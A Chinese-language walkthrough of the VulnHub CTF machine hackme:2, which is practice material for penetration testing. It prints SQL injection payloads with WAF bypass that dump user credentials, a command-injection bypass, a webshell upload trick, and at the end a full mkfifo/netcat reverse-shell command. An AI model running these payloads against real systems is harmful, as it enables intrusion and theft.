hackme：2 靶机攻略-安全客

0x01 背景：

hackme:2是vulnhub上的一个medium难度的CTF靶机，难度适中、内容丰富，贴近实战。而且没有太多的脑洞，适合安全工作者们用来练习渗透测试，然而唯一的缺憾是目前没有公开的攻略，因此把个人的通关过程记录于此，作为攻略分享给大家！

0x02 技术关键词：

SQL注入、WAF Bypass、模糊测试、文件上传、suid提权

0x03 靶机发现与端口扫描

做vulnhub上的靶机的第一步，所有的靶机都是一样的套路，不在这里多费笔墨。

0x04 SQL注入与WAF Bypass

打开位于80端口的Web页面，注册一个测试账号wangtua/wangtua，就可以登录系统了，可以发现是一个书店系统。

进入系统之后发现有一个搜索框，SQL注入的套路很明显了。要做SQL注入、第一步就是猜测SQL语句的格式和注入点。

1、探测SQL格式，WAF规则

本搜索框的功能是检索数据库中的书名、当搜索框为空的时候，可以返回所有的内容，

当搜索框中只包含书名的前一部分的时候，也可以返回对应的内容：

因此我们猜测SQL语句格式为(%代表通配符，可以匹配零个或者多个任意字符)：
$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
基于此，我们构造如下payload：Linux%' and '123' like '1

使用另一个payload：Linux%' and '23' like '1
发现无法返回结果

可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题：
Payload:Linux%'/**/and database() like/**/'
没有返回内容,而当我们使用注释符来代替空格的时候，则可以执行成功。

2、构造Payload

通过构造联合查询，一步一步获取出数据库名，表名，列名和字段
Linux%'/**/union/**/select/**/database/**/(),'2','3

Linux%'/**/union/**/select/**/group_concat(table_name),"2","3"/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp

Linux%'/**/union/**/select/**/group_concat(column_name),"2","3"/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'users'and/**/table_schema/**/like'webapp

Linux%'/**/union/**/select/**/group_concat(user),'2',group_concat(pasword)/**/from/**/users/**/where/**/'1'/**/like/**/'

到此为止我们发现了一个superadmin的账号，将md5值在线解码之后发现是Uncrackable

0x05 模糊测试与命令执行

进入超级管理员账号之后，我们发现了一个可以进行文件上传的点,

上传cat.jpg之后，页面上回显了上传路径。
然而我们却无法直接访问任何文件。
接下来我们注意到下面两个输入框，可以将处理结果回显到页面上，这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last Name输入框里输入7*7，可以返回49
我们可以使用BurpSuite专业版的Intruder模块来进行模糊测试。

Payload选择模糊测试-完整，

点击开始攻击。
攻击完成之后可以发现 `id` 这个payload有命令执行的回显。

我们换其他命令来执行，例如pwd,ls都可以正确执行而cat命令无法执行，猜测其过滤了空格，我们使用cat<welcomeadmin.php这个payload来绕过过滤。
可以看到在返回包里泄露的welcomeadmin.php的完整源代码，包括文件上传的绝对路径。

以及命令执行的成因：

使用哥斯拉生成木马并上传，发现php后缀被过滤，换成php3等也不行。

后缀改成png之后才上传成功，然而无法正常解析成PHP文件。

这里考虑使用刚才的命令执行漏洞，将文件名改成god.php

使用哥斯拉进行连接，发现连接成功

0x06 后渗透与提权

为了可以有更好的交互环境，我们用kali自带的weevely生成木马并连接，完成连接之后使用nc反弹shell：
由于靶机的nc版本特殊，无法使用nc -e选项，因此这里使用了如下的payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f
(来自参考资料2)